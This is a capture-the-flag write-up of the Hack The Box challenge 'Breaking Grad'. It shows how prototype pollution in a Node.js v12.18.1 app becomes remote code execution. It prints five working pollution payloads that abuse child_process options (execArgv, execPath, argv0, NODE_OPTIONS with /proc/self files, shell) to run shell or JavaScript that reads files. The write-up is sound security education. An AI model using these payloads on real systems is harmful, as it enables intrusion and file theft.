Breaking Grad
A beautiful prototype pollution puzzle on an old Node version, with multiple solutions via symbolic links, Node executable arguments or straight up shell commands.
- Hack The Box
- Challenge
- Linux
- medium
- Retired
- Jun 26, 2020
Contents
- Overview
- Finding the Prototype Pollution
- Looking for an RCE Gadget in Node.js
- A Detour: Why Modern Node.js Does Not Behave the Same Way
- Finding an RCE Vector in Node.js v12.18.1
- Understanding the execSync Path
- Polluting shell
- Where spawnSync() Finally Sends the Values
- Understanding the fork Path
- Why the Payload and Debug Requests Are Separate
- Payload #1 — fork() with execArgv
- Payload #2 — fork() with execPath + execArgv
- Payload #3 — fork() with argv0 + NODE_OPTIONS + /proc/self/cmdline
- Step 1: argv0 controls the child's first argument
- Step 2: Linux exposes the argument vector through /proc/self/cmdline
- Step 3: env supplies NODE_OPTIONS
- Payload #4 — fork() with NODE_OPTIONS + /proc/self/environ
- Payload #5 — execSync() with shell + argv0 + env
- Step 1: shell = /proc/self/exe
- Step 2: argv0 puts JavaScript in /proc/self/cmdline
- Step 3: NODE_OPTIONS preloads the command line
- Comparing the Payloads
- Conclusion
- References
Breaking Grads — Prototype Pollution to RCE in Node.js v12.18.1
Overview
Breaking Grads is a Medium Web challenge with an easy-to-spot prototype pollution path leading to a not-so-obvious RCE through seemingly uninjectable child_process functions. The interesting part of the challenge is not finding the prototype pollution itself, but finding a gadget that turns a polluted property into code execution.
My approach was:
- Find the prototype pollution vector.
- Examine the
forkandexecSyncimplementations. - Compare modern Node.js with the challenge's Node.js version.
- Find pollutable
child_processoptions that reach process creation. - Craft several RCE payloads and trigger them through the debug endpoints.
The challenge pins Node.js to v12.18.1, which turns out to be the most important clue.
Finding the Prototype Pollution
Looking at the /debug/ and /api/calculate endpoints, we see that the request body supplied to /api/calculate is cloned. Further examining the ObjectHelper functions reveals an unsafe recursive merge:
isValidKey(key) {
return key !== '__proto__';
},
merge(target, source) {
for (let key in source) {
if (this.isValidKey(key)) {
if (this.isObject(target[key]) &&
this.isObject(source[key])) {
this.merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
},
The application explicitly blocks the __proto__ key, so the obvious payload does not work. However, constructor.prototype gives us another path to Object.prototype.
It is worth being precise here: __proto__ is not literally an alias for constructor.prototype. __proto__ is an accessor for an object's internal [[Prototype]]. The reason constructor.prototype works in this case is that a normal object inherits constructor from Object.prototype:
({}).constructor === Object
Object.prototype === ({}).constructor.prototype
Now consider this payload:
{
"constructor": {
"prototype": {
"polluted": "polluted"
}
}
}
The clone starts with an empty object as the target. When the merge sees constructor, target.constructor is not undefined: it resolves through the prototype chain to the built-in Object function. The helper also considers functions to be objects, so it recursively merges into it.
The merge path is approximately:
target = {}
key = "constructor"
target.constructor -> Object
|
v
merge(Object, source.constructor)
key = "prototype"
Object.prototype -> global Object.prototype
|
v
merge(Object.prototype, source.constructor.prototype)
key = "polluted"
Object.prototype.polluted = "polluted"
At this point, ordinary objects inherit the value:
({}).polluted
// "polluted"
This is the primitive we need. The remaining question is: what useful property can we pollute?
Looking for an RCE Gadget in Node.js
Examining the debug functionality gives us two interesting commands:
if (command == 'version') {
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
proc.stderr.pipe(res);
proc.stdout.pipe(res);
return;
}
if (command == 'ram') {
return res.send(execSync('free -m').toString());
}
At first glance neither is injectable:
fork()always launchesVersionCheck.js.execSync()always receives the fixed commandfree -m.
So instead of looking for command-string injection, I started looking for initially absent option fields that Node later reads when creating the child process.
Prototype pollution cannot normally replace an own property. JavaScript property lookup checks the object first and only walks up the prototype chain when the property is absent:
const obj = { value: 'safe' };
Object.prototype.value = 'polluted';
obj.value;
// "safe"
Therefore, the useful gadgets are option fields which are not already present on the application's options object.
A Detour: Why Modern Node.js Does Not Behave the Same Way
Reading the current child_process implementation shows explicit prototype-pollution hardening. Modern fork() normalizes its options into a null-prototype object:
options = { __proto__: null, ...options, shell: false };
Modern normalizeExecArgs() does the same:
options = { __proto__: null, ...options };
With a null prototype, a lookup such as:
options.execPath
cannot fall through into Object.prototype:
options
|
+-- own execPath? no
|
+-- [[Prototype]] -> null
result: undefined
This is why a polluted Object.prototype.execPath does not win over the modern fallback:
options.execPath ||= process.execPath;
options.execPath is genuinely undefined, so Node writes the legitimate process.execPath value. process.execPath itself is also an existing property on process, so ordinary Object.prototype pollution cannot override it.
At this point the modern source looks like a dead end. Then the challenge's package.json gives us the important detail:
"nodeVersion": "v12.18.1"
Finding an RCE Vector in Node.js v12.18.1
Reading the exact Node.js v12.18.1 child_process.js reveals a very different implementation.
The code repeatedly makes shallow copies like this:
options = { ...options };
This does not protect against Object.prototype pollution. Object spread copies only own enumerable properties, but the newly created object is still an ordinary object whose prototype is Object.prototype.
For example:
Object.prototype.execPath = '/bin/sh';
const original = {};
const copy = { ...original };
copy.hasOwnProperty('execPath');
// false
copy.execPath;
// "/bin/sh"
The inherited property was not copied, but the new object still inherits the polluted prototype. That distinction is what makes the v12 gadgets work.
Understanding the execSync Path
For the ram debug command, the application calls:
execSync('free -m');
execSync() first calls normalizeExecArgs():
function normalizeExecArgs(command, options, callback) {
// Make a shallow copy so we don't clobber the user's options object.
options = { ...options };
options.shell = typeof options.shell === 'string' ? options.shell : true;
return {
file: command,
options: options,
callback: callback
};
}
Normally there is no shell property, so Node sets:
options.shell = true;
execSync() then calls:
const ret = spawnSync(opts.file, opts.options);
Eventually normalizeSpawnArguments() handles shell execution:
if (options.shell) {
const command = [file].concat(args).join(' ');
if (typeof options.shell === 'string')
file = options.shell;
else
file = '/bin/sh';
args = ['-c', command];
}
For the normal request:
file = "free -m"
args = []
shell = true
becomes:
file = "/bin/sh"
args = ["-c", "free -m"]
and, after Node inserts argv[0], the OS process is conceptually:
/bin/sh -c "free -m"
The actual process creation happens below this JavaScript layer in Node's internal child-process implementation and eventually reaches libuv. For exploitation, the important part is that normalizeSpawnArguments() decides which executable and arguments are passed down.
Polluting shell
In Node v12.18.1, the initial options object is still connected to Object.prototype. Therefore:
{
"constructor": {
"prototype": {
"shell": "ls"
}
}
}
causes this line:
options.shell = typeof options.shell === 'string' ? options.shell : true;
to see the inherited string "ls". Node then creates an own shell = "ls" property and eventually constructs approximately:
file = "ls"
args = ["-c", "free -m"]
or:
ls -c "free -m"
This explains the error:
ls: cannot access 'free -m': No such file or directory
The pollution worked, but shell alone only controls the executable. The original command string remains fixed as free -m. ls does not interpret -c as "execute this command", so this does not immediately give us the flag.
Where spawnSync() Finally Sends the Values
spawnSync() calls normalizeSpawnArguments() and receives:
{
file,
args,
options,
envPairs
}
It then aliases options and opts.options:
options = opts.options = defaults;
and copies the normalized process fields into that object:
options.file = opts.file;
options.args = opts.args;
options.envPairs = opts.envPairs;
Finally:
return child_process.spawnSync(opts);
hands the normalized structure to Node's internal child-process implementation. In other words, by the time the native layer is reached, our polluted options have already influenced the executable, argument vector, and environment.
Understanding the fork Path
The version debug command calls:
fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
The important parts of Node v12.18.1's fork() are:
options = { ...arguments[pos++] };
execArgv = options.execArgv || process.execArgv;
args = execArgv.concat([modulePath], args);
options.execPath = options.execPath || process.execPath;
options.shell = false;
return spawn(options.execPath, args, options);
Two properties immediately stand out:
execPathcontrols which executable is started.execArgvcontrols which arguments are placed beforeVersionCheck.js.
Normally:
execPath = /usr/bin/node
execArgv = []
modulePath = VersionCheck.js
so the call becomes approximately:
/usr/bin/node VersionCheck.js
If we pollute:
Object.prototype.execPath = '/bin/sh';
Object.prototype.execArgv = ['-c', 'ls'];
then fork() constructs:
execPath = /bin/sh
execArgv = ["-c", "ls"]
modulePath = VersionCheck.js
and:
args = execArgv.concat([modulePath], args);
becomes:
['-c', 'ls', 'VersionCheck.js']
The final spawn is therefore conceptually:
/bin/sh -c "ls" VersionCheck.js
For sh -c, the first argument after the command string becomes the shell's $0, so the forced VersionCheck.js no longer needs to be executed as a JavaScript file.
This gives us a much cleaner RCE path than trying to inject into the fixed debug command.
Why the Payload and Debug Requests Are Separate
One detail that can initially be confusing is that sending the prototype-pollution payload to /api/calculate does not execute anything by itself. The exploit is two-stage:
1. Pollution source 2. Gadget trigger
/api/calculate /debug/version or /debug/ram
| |
v v
unsafe merge fork() / execSync()
| |
v v
Object.prototype.<property> -----------> options.<property>
|
v
child process creation
The first request runs inside the main Node.js server process and mutates Object.prototype. That object is global to the JavaScript realm, so the polluted property remains present after the /api/calculate request has finished. It is not tied to the lifetime of the HTTP request.
When we then visit a debug endpoint, the same server process creates new ordinary option objects. Those objects inherit from the already polluted Object.prototype, so Node's child_process code sees our values when it reads fields such as:
options.execArgv
options.execPath
options.argv0
options.env
options.shell
The debug request is therefore the trigger that reaches the gadget.
There is another important distinction with fork(): the newly forked Node process does not inherit the parent's JavaScript heap or its polluted Object.prototype. It does not need to. The parent process reads the polluted fields before spawning the child and converts them into OS-level process parameters such as the executable path, argument vector, and environment. Those values are what cross the process boundary.
The challenge also conveniently returns the child output to us:
proc.stderr.pipe(res);
proc.stdout.pipe(res);
for /debug/version, while /debug/ram sends the stdout captured by execSync():
res.send(execSync('free -m').toString());
So the workflow for the following payloads is:
Send pollution payload to /api/calculate
|
v
Object.prototype is polluted
|
v
Visit the matching /debug endpoint
|
v
child_process gadget reads polluted fields
|
v
payload executes and stdout/stderr reaches HTTP response
If the Node process restarts, the pollution disappears. Likewise, in a multi-worker deployment, a second request would need to reach the same polluted worker. The challenge behaves consistently because the requests are handled by the same long-running application process.
Payload #1 — fork() with execArgv
The first RCE does not even require control of execPath.
If execPath is not polluted, fork() falls back to:
process.execPath
which points to the Node executable. Node supports -e, which evaluates the next argument as JavaScript source.
We can therefore pollute only execArgv. Since the flag filename is randomized, the payload first finds the file beginning with flag_, reads it, and writes the contents directly to stdout:
{
"constructor": {
"prototype": {
"execArgv": [
"-e",
"const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'))"
]
}
}
}
After sending this to /api/calculate, visiting /debug/version makes fork() construct approximately:
/usr/bin/node -e "<flag-reading JavaScript>" VersionCheck.js
The -e option tells Node to evaluate our string instead of treating VersionCheck.js as the main program. The remaining non-option argument is exposed to the evaluated program as a normal argument, so the forced module path is effectively neutralized.
The payload reads the flag and writes it to the child process's stdout. The application already pipes that stream into the HTTP response with proc.stdout.pipe(res), so simply visiting /debug/version returns the flag.
Payload #2 — fork() with execPath + execArgv
Instead of keeping Node as the child executable, we can replace it completely.
{
"constructor": {
"prototype": {
"execPath": "/bin/sh",
"execArgv": [
"-c",
"cat flag_*"
]
}
}
}
After the pollution request, /debug/version evaluates the polluted values in fork():
execPath = /bin/sh
execArgv = ["-c", "cat flag_*"]
modulePath = VersionCheck.js
which becomes:
/bin/sh -c "cat flag_*" VersionCheck.js
/bin/sh interprets the -c argument as shell source, so shell globbing expands flag_*. The forced VersionCheck.js argument becomes $0 for the shell and does not interfere with the command.
This is probably the simplest pure fork() solution because it gives us both executable control and arbitrary argument control without needing /proc tricks.
Payload #3 — fork() with argv0 + NODE_OPTIONS + /proc/self/cmdline
This is a more interesting gadget because argv0 is not code execution by itself.
The payload directly reads the flag:
{
"constructor": {
"prototype": {
"argv0": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
"env": {
"NODE_OPTIONS": "--require=/proc/self/cmdline"
}
}
}
}
After sending it to /api/calculate, we trigger /debug/version.
Step 1: argv0 controls the child's first argument
normalizeSpawnArguments() contains:
if (typeof options.argv0 === 'string') {
args.unshift(options.argv0);
} else {
args.unshift(file);
}
Our polluted argv0 therefore becomes the child's argv[0].
The important point is that nothing has executed yet. At this stage it is only a string in the argument vector.
Step 2: Linux exposes the argument vector through /proc/self/cmdline
Inside the newly created process, /proc/self/cmdline contains the process arguments separated by NUL bytes. Because we control argv[0], the file starts approximately like this:
(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//\0VersionCheck.js\0
We have effectively made attacker-controlled JavaScript appear at the beginning of a readable file.
Step 3: env supplies NODE_OPTIONS
The same normalizeSpawnArguments() function reads:
const env = options.env || process.env;
Our polluted options.env therefore becomes the environment passed to the new process. It contains:
NODE_OPTIONS=--require=/proc/self/cmdline
Node v12.18.1 allows --require in NODE_OPTIONS. During startup, the child Node process therefore preloads /proc/self/cmdline before executing VersionCheck.js.
The file starts with our argv0, so Node parses:
(()=>{
const f = require('fs');
const n = f.readdirSync('.').find(x => x.startsWith('flag_'));
process.stdout.write(f.readFileSync(n, 'utf8'));
process.exit(0);
})();
// ...remaining cmdline bytes...
The trailing // is important: it comments out the remaining NUL-separated command-line contents. process.exit(0) also prevents Node from continuing on to the forced VersionCheck.js after our flag-reading code has executed.
After sending the pollution payload, visit /debug/version to trigger fork(). The flag bytes written to stdout are piped directly into the HTTP response.
The chain is:
Object.prototype.argv0 = JavaScript
Object.prototype.env = { NODE_OPTIONS: --require=/proc/self/cmdline }
|
v
/debug/version
|
v
fork()
|
+--> argv0 becomes first bytes of /proc/self/cmdline
|
+--> NODE_OPTIONS tells Node to require that file
|
v
argv0 parsed as JavaScript
|
v
RCE
Payload #4 — fork() with NODE_OPTIONS + /proc/self/environ
This is similar to the previous technique, but the JavaScript source is placed in the child process's environment instead of its command line. We do not need argv0 at all.
The environment itself can contain the flag-reading JavaScript:
{
"constructor": {
"prototype": {
"env": {
"PAYLOAD": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}
}
}
}
This corrects an important distinction from the cmdline technique: if we require /proc/self/environ, the JavaScript must actually be present in the environment.
When fork() reaches normalizeSpawnArguments(), our polluted env object is converted into the child's real environment. We deliberately place PAYLOAD before NODE_OPTIONS in the object so the generated environment starts with the parseable assignment. For these ordinary string keys, the v12 for...in enumeration preserves that insertion order when building envPairs. Inside the child, /proc/self/environ contains NUL-separated KEY=value entries and begins approximately like:
PAYLOAD=(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//\0NODE_OPTIONS=--require=/proc/self/environ\0
This is valid JavaScript source in the v12 CommonJS context:
PAYLOAD = (() => {
const f = require('fs');
const n = f.readdirSync('.').find(x => x.startsWith('flag_'));
process.stdout.write(f.readFileSync(n, 'utf8'));
process.exit(0);
})();
// ...remaining environment bytes...
NODE_OPTIONS tells the child Node process to require /proc/self/environ, so Node parses the environment file as JavaScript before it reaches VersionCheck.js.
The PAYLOAD= prefix is useful here: it makes the beginning of /proc/self/environ look like a normal JavaScript assignment. The trailing // comments out the remaining NUL-separated environment entries.
As before:
send payload -> /api/calculate
trigger -> /debug/version
output -> forked child's stdout/stderr piped into HTTP response
Payload #5 — execSync() with shell + argv0 + env
The previous payloads all use the /debug/version fork() sink. We can also build a separate RCE through the /debug/ram execSync() path.
Recall that the application executes the fixed command:
execSync('free -m');
Polluting only shell was not enough because Node still supplied:
-c "free -m"
However, we can combine three fields and make the payload read the flag directly:
{
"constructor": {
"prototype": {
"shell": "/proc/self/exe",
"argv0": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
"env": {
"NODE_OPTIONS": "--require=/proc/self/cmdline"
}
}
}
}
After sending this payload, we trigger /debug/ram, not /debug/version.
Step 1: shell = /proc/self/exe
On Linux, /proc/self/exe is a symbolic link to the executable of the current process. Since the server is Node.js, this points to the Node executable.
Normally execSync('free -m') becomes:
/bin/sh -c "free -m"
With the polluted shell it instead becomes conceptually:
/proc/self/exe -c "free -m"
So execSync() is now launching another Node process instead of /bin/sh.
Step 2: argv0 puts JavaScript in /proc/self/cmdline
normalizeSpawnArguments() still processes the polluted argv0, so the actual argument vector begins approximately as:
argv[0] = (()=>{...read flag and write it to stdout...})();//
argv[1] = -c
argv[2] = free -m
The child process's /proc/self/cmdline therefore begins with our JavaScript source.
Step 3: NODE_OPTIONS preloads the command line
The polluted env supplies:
NODE_OPTIONS=--require=/proc/self/cmdline
The new Node process preloads its own command-line file before normal CLI processing reaches the fixed -c "free -m" arguments. Our argv0 code runs first and calls process.exit(0), so those fixed arguments never need to be useful.
The complete chain is:
/api/calculate
|
v
Object.prototype.shell = /proc/self/exe
Object.prototype.argv0 = JavaScript
Object.prototype.env = { NODE_OPTIONS: --require=/proc/self/cmdline }
|
v
/debug/ram
|
v
execSync("free -m")
|
+--> shell changes executable to Node
|
+--> argv0 places JS in /proc/self/cmdline
|
+--> NODE_OPTIONS requires /proc/self/cmdline
|
v
JavaScript executes during child Node startup
|
v
execSync captures stdout
|
v
res.send(...) returns it to us
Send it to /api/calculate, then visit /debug/ram. execSync() captures the spawned Node process's stdout as a Buffer, the application converts it with .toString(), and the flag is returned in the HTTP response.
This gives us an RCE path through the supposedly fixed free -m command without ever controlling that command string directly.
Comparing the Payloads
The challenge has several viable RCE gadgets once Object.prototype can be polluted:
| Sink | Polluted fields | Idea |
|---|---|---|
fork() |
execArgv |
Keep Node as executable and use node -e <JS> |
fork() |
execPath + execArgv |
Replace Node with /bin/sh and supply -c <command> |
fork() |
argv0 + env |
Put JS in /proc/self/cmdline and preload it with NODE_OPTIONS |
fork() |
env |
Put JS in /proc/self/environ and preload it with NODE_OPTIONS |
execSync() |
shell + argv0 + env |
Turn the shell into Node, then use the /proc/self/cmdline preload gadget |
The first two are the simplest ways to solve the challenge. The /proc techniques are more complicated, but they are useful because they demonstrate how several individually harmless process features can compose into RCE.
Conclusion
The initial bug is a straightforward unsafe recursive merge, but the interesting part is turning that primitive into something useful.
The exploit has two distinct stages:
Prototype pollution source
|
v
Object.prototype is modified
|
v
child_process gadget is triggered later
|
v
inherited option becomes executable / argv / environment data
|
v
RCE
Node.js v12.18.1 is particularly important because its child_process implementation repeatedly uses ordinary objects and reads security-sensitive fields such as execPath, execArgv, shell, argv0, and env without isolating those option objects from Object.prototype.
Modern Node.js has added null-prototype normalization around these option objects, which breaks the straightforward inherited-option gadgets used here. This does not make prototype pollution harmless in general; it means this particular set of core child_process gadgets has been hardened.
The main lesson from the challenge is that prototype pollution is often only the first half of the exploit. The real impact depends on finding a gadget that reads the polluted property and carries it into a security-sensitive operation.